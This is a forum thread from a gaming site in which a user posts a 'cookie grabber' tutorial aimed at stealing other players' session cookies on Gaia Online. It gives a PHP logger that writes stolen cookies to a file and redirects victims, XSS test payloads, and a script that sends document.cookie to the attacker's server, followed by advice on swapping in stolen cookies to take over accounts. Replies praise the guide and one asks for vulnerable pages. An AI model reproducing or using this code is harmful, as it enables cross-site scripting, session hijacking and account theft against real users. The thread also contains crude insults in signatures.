Go Back   Gaming Gutter > Non-Gaming > Programming > Tutorials


Tutorials - Looking for programming tutorials to increase your knowledge? Do so here.

» Site Navigation
» Home
» FAQ
» Log in
User Name:

Password:

Not a member yet?
Register Now!
» Advertisement
» Recent Threads
Go to first new post Lenny Conundrum
02-09-2007 11:09 AM
by Noodle
Last post by bookie
Today 06:15 PM
739 Replies, 34,704 Views
Go to first new post Ruzzykinz.
Today 06:14 PM
Last post by Vaginal-Milkshake
Today 06:14 PM
0 Replies, 1 Views
Go to first new post Let's make this the...
12-26-2007 01:03 PM
by |G3|
Last post by terinuptrash
Today 06:14 PM
3,622 Replies, 9,485 Views
Go to first new post Anglo-Saxon Riddles
Today 05:53 PM
by Fewmitz
Last post by Hodizzle
Today 06:12 PM
1 Replies, 2 Views
Go to first new post I feel like shit.
Yesterday 10:49 PM
Last post by Unregenerate Passion
Today 06:10 PM
27 Replies, 123 Views
Reply
 
LinkBack Thread Tools Display Modes

 Cookie Grabber Kinda Explained.
Old 03-04-2008, 12:31 AM   #1 (permalink)
Underground

Male second2none is offline
 
Join Date: Sep 2006
Location: BrisBANE <----
Age: 19
Posts: 5,025
GPoints: 356
iTrader: 1 / 100%
second2none Is a Party Captainsecond2none Is a Party Captainsecond2none Is a Party Captain
Rep Power: 16
Cookie Grabber Kinda Explained.

Learningz the basic way to Steal Someones Cookiezz

ok. Well to start off with, a cookie grabber is a mixture of javascript + php. Having a average understanding of how PHP works is probably best, and maybe read up on some tutorials. Ok well here goes.

The PHP Code

Ok.. so basically, the PHP code does not actually "grab" the cookie, it processes the data from the URL. We use javascript go retrieve the cookies the "GET" method to send the data (cookies) to the PHP file.

http;//www.yourwebsite.com/phpfile.php?cookie=THECOOKIEZ
PHP Code:
<?php 
$cookie 
$_GET['cookie'];
echo 
$cookie;
?>
If "phpfile" contained that PHP code, then you would see.
"THECOOKIEZ".

while if you were to visit:
http;//www.yourwebsite.com/phpfile.php

Your screen would return blank, as $_GET['cookie'] wasn't found.

ok so now we know how to send data to the PHP file using the GET method. Now we want to save the cookies to a Text File.
So now we will use the fopen function

PHP Code:
$file fopen('filename.txt''a');
fwrite($file 'Cookie: '.$cookie);
fwrite($file "\r\n"); 
fclose($file); 
fopen(FILENANE, MODE)
the mode a is for writing only and adds to the end of the file. Which is very handy for what we want to achieve.

PHP Code:
fwrite($file "Cookie: ".$cookie); 
Here we are just Writing the Cookie to the text FIle.
PHP Code:
fwrite($file "\r\n"); 
Is a line break.

PHP Code:
fclose($file ); 
Then we close the file. (important).
So now our code looks like this.

PHP Code:
<?php 
$cookie 
$_GET['cookie'];
$file fopen('filename.txt''a');
fwrite($file 'Cookie: '.$cookie);
fwrite($file "\r\n"); 
fclose($file);
?>
I got rid of the echo, cause its not needed. Ok... so now when they visit the page:
http;//www.yourwebsite.com/phpfile.php?cookie=THECOOKIEZ
THECOOKIEZ will be added to the Text file... but the screen will stay blank and to them nothing has happened.

So now we are going to ad a redirect. or "header".
PHP Code:
header("Location: http://gaiaonline.com/login.php"); 
we want to add this to the top of our code.
PHP Code:
 <?php 
header
("Location: http://gaiaonline.com/login.php");
 
$cookie $_GET['cookie'];
$file fopen('filename.txt''a');
 
fwrite($file 'Cookie: '.$cookie);
 
fwrite($file "\r\n"); 
 
fclose($file);
 
?>
Ok thats the PHP file ready to go... so now we are going to actually grab the cookies.

Grabbing the cookies.

NOTE: This is the simplest way to grab cookies and will probably not work on most sites... unless they are cheap and crap.

First you need to find a vulnerability in the site. I'm still kinda new to this, so what I do is look for forms, something that updates... like your profile. Ok.
So now you want to see if they allow javascript
type in.
HTML Code:
<script>alert('1')</script>
and submit it. View your profile. If you see a popup saying "1", then the site is vulnerable. For now we will say it has popup up. Next thing you want to try is

document.cookie <-- javascript allows us to grab our cookies from the current site we are viewing.

so now try
HTML Code:
<script>alert(document.cookie)</script>
if you get a popup with your cookie bingo. You can now attempt to cookie grab.

Now try
PHP Code:
<script>
document.location 'http;//www.yourwebsite.com/phpfile.php?cookie=' document.cookie;
</script> 
That is the most basic version. There are ways so that the page doesn't redirect, but I will let you guys find that.
so now when someone visits your Profile they will be redirected to your PHP file, then redirected to the URL you specified in the PHP file.
So this happens in about 1-3 seconds depending on your internet speed... could be faster.
You have successfully CGed someone.

What to do with the cookies

You will find that almost NO site, include a
username: Username
password: Password

type cookie. They are hardly ever given to you, I think I've seen it one on a shitty pet site. Most of the time they are encrypted and then md5 hashed...ot Sha1 hashed. Don't bother trying to crack the hash lol or check in rainbow tables... cause most of them are joined data. Like

Time + User + Pass + sessionID

so what we do is exchange our cookies for theirs.
Here is a Firefox addon I use.
mozdev.org - addneditcookies: installation

it allows you to add/edit/delete cookies. Very handy.
Sometimes you dont need to change all the cookies, but yeah, play around untill you find which ones you need.

Few Things To Know

You need to grab the cookies on the SITE you want the cookies for. because another site, cannot access another sits Cookies if that makes sense.
so your host cant access, gaia cookies, thats why you need to grab them on gaia. Common mistake by beginner.

sometimes you will need to bypass filters... search the net for ideas.. or ways to bypass it..

THIS IS VERY BASIC AND DOUBT IT WILL WORK ON MANY SITES.

This tutorial was just to show how they work,
I'm not a professional at Cookie Grabbing, but I figured since peopled asked for the CGer I had for gaiaonline I would make a guide and someone can make it them selves.

THE COOKIE GRABBER ITS SELF IS NOT THE HARD PART!!!!!!!!!!!!!!!!
Finding a vulnerability in the site you want CG is.
well IMO it is.

I hope you learned something today even if it was basic xD

Guide By Kane :O
__________________
This is from:
Screenies Of A Mod
Code:
How did you do it? FLP , jotform, some other form of hacking? - First Class Noob
Lawl.. funny shit.

Quote:
Originally Posted by Kore
By k[ore] on Today, 08:44 AM
i'll give you rep alright, but it won't be positive.
Lawl Ownt

Hoes forgot to eat a dick and shut the FUCK UP!
  Reply With Quote

 
Old 03-04-2008, 01:55 AM   #2 (permalink)
Vagenius

Male Snakebite is online now
 
Snakebite's Avatar
 
Join Date: Oct 2006
Location: Slums of Shaolin
Age: 12
Posts: 10,085
GPoints: 2,683
iTrader: 7 / 100%
Snakebite Is a Lord of AwesomenessSnakebite Is a Lord of AwesomenessSnakebite Is a Lord of AwesomenessSnakebite Is a Lord of Awesomeness
Rep Power: 24
Nice dude.
Maybe this will stop the fucking Jotforms.
__________________


Thanks Diinke
Quote:
Originally Posted by Tara Gilesbie
Sudenly a gothic old man flu in on his broomstick. He had lung black hair and a looong black bread. He wus werring a blak robe dat sed ‘avril lavigne’ on da back. He shotted a spel and Vlodemort ran away. It was…………………………………DUMBLYDO RE!
  Reply With Quote

 
Old 03-04-2008, 06:27 AM   #3 (permalink)
Underground

inscom is offline
 
inscom's Avatar
 
Join Date: Dec 2007
Posts: 437
GPoints: 20
iTrader: 1 / 100%
inscom Is a New Face in Town
Rep Power: 0
whoaa nice...
yeah.. right.. cookiegrabber!!! XD
__________________

^^^^^^^^^
wtf is dis anyway
  Reply With Quote

 
Old 03-04-2008, 07:14 AM   #4 (permalink)
In Purgatory

Male lain is offline
 
Join Date: Dec 2006
Location: Hell
Posts: 1,053
GPoints: 457
iTrader: 10 / 100%
lain Is a Party Captainlain Is a Party Captain
Rep Power: 0
Remember! Anyone can make a fucking cookie grabber, it's finding a point to enter it thats a pain in the ass. Almost every site will prevent you from just placing this wherever the fuck you want.
  Reply With Quote

 
Old 03-04-2008, 07:35 AM   #5 (permalink)
Spelar lite DotA...

Male Cataclysmic is offline
 
Cataclysmic's Avatar
 
Join Date: Jan 2008
Location: Maryville, TN
Posts: 1,273
GPoints: 160
iTrader: 3 / 100%
Cataclysmic Is Popular
Rep Power: 4
Very nice, Kane!!
Very nice.
+Rep, most definitely.

EDIT: Gotta' question:
Assuming this is the same sort of method you used on Gaia to CG Terradi, mind giving some vulnerable pages?
Obviously, Lain, G3, and you found a page somewhere on Gaia that had the XSS vulnerability.

PM if needed.
__________________
We should seriously just automatically deny anyone with something along the lines of "Current Goal: UG" in their signature.

Quote:
Kyo: Cataclysmic, I love you now
-------------------------------------
second2none: unfortunately if you have a gf, you are already paying for sex.
-------------------------------------
ANON - Dark has left the conversation.
Nomhak says: what a faggot
-------------------------------------

Sejiru: You look like a person who'd win an award of greatness in the field of excellency!
  Reply With Quote

 
Old 03-04-2008, 12:54 PM   #6 (permalink)
Underground

Male second2none is offline
 
Join Date: Sep 2006
Location: BrisBANE <----
Age: 19
Posts: 5,025
GPoints: 356
iTrader: 1 / 100%
second2none Is a Party Captainsecond2none Is a Party Captainsecond2none Is a Party Captain
Rep Power: 16
Quote:
Originally Posted by lain View Post
Remember! Anyone can make a fucking cookie grabber, it's finding a point to enter it thats a pain in the ass. Almost every site will prevent you from just placing this wherever the fuck you want.
Yeah thats what I said CGer is the easy part... finding a vulnerable page is the had part.

and no I'm not showing you where we put it. I said find it yourself.
__________________
This is from:
Screenies Of A Mod
Code:
How did you do it? FLP , jotform, some other form of hacking? - First Class Noob
Lawl.. funny shit.

Quote:
Originally Posted by Kore
By k[ore] on Today, 08:44 AM
i'll give you rep alright, but it won't be positive.
Lawl Ownt

Hoes forgot to eat a dick and shut the FUCK UP!
  Reply With Quote

 
Old 03-04-2008, 01:41 PM   #7 (permalink)
Underground

Male poopehgamer is online now
 
poopehgamer's Avatar
 
Join Date: Jan 2008
Location: My house
Posts: 620
GPoints: 405
iTrader: 0 / 0%
poopehgamer Is Popular
Rep Power: 3
OWNAGE +REp
  Reply With Quote

 
Old 03-04-2008, 01:48 PM   #8 (permalink)
Spelar lite DotA...

Male Cataclysmic is offline
 
Cataclysmic's Avatar
 
Join Date: Jan 2008
Location: Maryville, TN
Posts: 1,273
GPoints: 160
iTrader: 3 / 100%
Cataclysmic Is Popular
Rep Power: 4
Hahahaha.
Alrighty, then.
Still, good job on the guide.
__________________
We should seriously just automatically deny anyone with something along the lines of "Current Goal: UG" in their signature.

Quote:
Kyo: Cataclysmic, I love you now
-------------------------------------
second2none: unfortunately if you have a gf, you are already paying for sex.
-------------------------------------
ANON - Dark has left the conversation.
Nomhak says: what a faggot
-------------------------------------

Sejiru: You look like a person who'd win an award of greatness in the field of excellency!
  Reply With Quote

 
Old 03-04-2008, 01:50 PM   #9 (permalink)
Donor

Female LOL BRED BUS is offline
 
LOL BRED BUS's Avatar
 
Join Date: Feb 2007
Age: 18
Posts: 818
GPoints: 31
iTrader: 8 / 100%
LOL BRED BUS Is Recognizable
Rep Power: 7
Nice work.
+Rep def.

& As snake said, MAYBE people will be smart enough to bother leaving jotforms.
(Which I highly doubt, think of the stupid ones.)
__________________

  Reply With Quote

 
Old 03-04-2008, 01:52 PM   #10 (permalink)
Vagenius

Male Snakebite is online now
 
Snakebite's Avatar
 
Join Date: Oct 2006
Location: Slums of Shaolin
Age: 12
Posts: 10,085
GPoints: 2,683
iTrader: 7 / 100%
Snakebite Is a Lord of AwesomenessSnakebite Is a Lord of AwesomenessSnakebite Is a Lord of AwesomenessSnakebite Is a Lord of Awesomeness
Rep Power: 24
I doubt they'll read this.
I didn't read it, mind you i don't play Gaia.
But my laziness is the same as theres.
__________________


Thanks Diinke
Quote:
Originally Posted by Tara Gilesbie
Sudenly a gothic old man flu in on his broomstick. He had lung black hair and a looong black bread. He wus werring a blak robe dat sed ‘avril lavigne’ on da back. He shotted a spel and Vlodemort ran away. It was…………………………………DUMBLYDO RE!
  Reply With Quote
Reply

Bookmarks



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Powered by vBadvanced CMPS v3.0 RC2

All times are GMT -7. The time now is 06:15 PM.


vBulletin skin developed by: eXtremepixels
vBCredits v1.4 Copyright ©2007 - 2008, PixelFX Studios
The contents of this webpage are copyright © 2006-2008 GamingGutter.com. All Rights Reserved.

Page generated in 0.16897893 seconds (100.00% PHP - 0% MySQL) with 19 queries